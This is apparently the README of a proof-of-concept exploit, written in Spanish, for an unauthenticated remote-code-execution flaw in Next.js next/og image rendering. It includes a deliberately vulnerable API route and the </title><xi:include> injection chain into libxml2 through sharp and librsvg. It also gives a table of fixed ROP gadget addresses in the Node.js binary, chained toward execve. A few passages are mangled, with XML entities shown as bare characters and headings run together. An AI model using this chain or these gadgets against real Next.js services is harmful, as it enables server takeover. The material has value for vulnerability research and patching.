
Prueba de concepto en Python para CVE-2026-94545: explota la entrada SVG sin escapar en next/og de Next.js para provocar la corrupción de libxml2 y una cadena ROP para RCE no autenticado.
next/og de Next.jsSolo para uso en investigación de seguridad, en entornos de vulnerabilidad autorizados.
| Elemento | Valor |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| Origen | Satori GHSA-wx4j-mvgx-mqwp |
| Causa raíz | CWE-116 (Codificación o escape de salida incorrectos) → Corrupción de memoria del analizador XML nativo → RCE |
| Afectados | Next.js 16.2.0 – 16.3.5 (runtime de Node con sharp instalado); Satori incluido ≥ 0.0.27 y < 0.33.5 |
| Corregido | Next.js 16.3.6 / Satori 0.33.5 |
| Impacto | Ejecutar comandos arbitrarios en el proceso del servicio Next.js sin autenticación |
| Stack probado | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + binario oficial x64 de Node.js v24.20.0 (no PIE) |
Con el runtime de Edge (export const runtime = 'edge') o cuando sharp no está instalado, el renderizado pasa por el sandbox resvg-wasm, por lo que esta vulnerabilidad no alcanza la cadena de análisis nativa y, por tanto, no se convierte en RCE.
La entrada del usuario se concatena en el SVG como texto plano, y este SVG se inserta entero en una URL data: y se entrega a un analizador XML escrito en C para una segunda ronda de análisis. Entre medias solo se realiza codificación de URL; el escape XML nunca se lleva a cabo.
Patrón típico: POST /api/og coloca todo el cuerpo de la solicitud, o GET /api/og?value= coloca el parámetro de consulta, directamente en el <title> del SVG de ImageResponse, sin filtrado ni escape.
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse recibe un árbol de elementos JSX y devuelve un PNG. Cualquier ruta que escriba datos de la solicitud en nodos hijos / atributos / estilos de SVG es un sink.
next/ognode_modules/next/og.js reenvía a next/dist/server/og/image-response.js. El runtime de Node carga dinámicamente next/dist/compiled/@vercel/og/index.node.js (ruta nativa); el runtime de Edge carga la ruta wasm y no se ve afectado por esta vulnerabilidad.
@vercel/og — Satori genera el SVG y luego lo entrega para la rasterizaciónEl flujo del @vercel/og incluido en Next.js (los comentarios del artefacto compilado confirman que contiene [email protected]) es:
sharp, entregar el SVG a la biblioteca nativa para la rasterización; de lo contrario, recurrir a resvg-wasm.const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
En este punto, la entrada del usuario ya se ha convertido en una cadena SVG y se pasa literalmente a sharp (libvips nativo).
Para un <svg> escrito explícitamente en JSX, Satori lo serializa por completo en una URL data:image/svg+xml y luego lo incrusta en la salida como un <image>.
vercel/[email protected] src/layout.ts: llama a SVGNodeToImage al entrar en un nodo <svg>.
src/handler/preprocess.ts tiene dos fallos clave:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&, < y > no se escriben como & / < / >. La codificación por porcentaje es meramente un requisito de sintaxis de URL; cuando el analizador descendente carga la URL data:, %3C/title%3E se restaura como un </title> real, y el texto del atacante pasa de ser "datos" a "estructura del documento".
Cuando la entrada es </title><xi:include …/><title>, el SVG intermedio que Satori entrega a sharp adopta la siguiente forma (decodificado para ilustración):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
La carga útil utiliza dos capas de inyección para controlar la estructura de entrada de libxml2:
</title><xi:include parse="xml" href="data:…"> externo hace que el analizador salte a cargar un documento anidado totalmente controlado por el atacante.El estado interno de libxml2 se lleva más allá de lo esperado, lo que resulta en una escritura fuera de límites. El efecto de corrupción se materializa de forma fiable mediante secuencias de coordenadas de <path> SVG cuidadosamente dispuestas (doubles IEEE-754 que transportan palabras de 8 bytes en little-endian), secuestrando así el flujo de control.
execveEl binario oficial de Node.js linux-x64 es un ejecutable no-PIE con una base de carga fija; las direcciones de PLT / GOT y de los gadgets son constantes, por lo que no se necesita ninguna fuga de información.
Este PoC está construido contra Node.js v24.20.0 oficial x64; los gadgets son los siguientes:
| Símbolo | Dirección | Propósito |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (escribe en el scratch qword a qword) |
EXECVE_PLT | 0x745FA0 | Stub PLT de execve |
SCRATCH | 0x6B5F500 | Dirección escribible fija |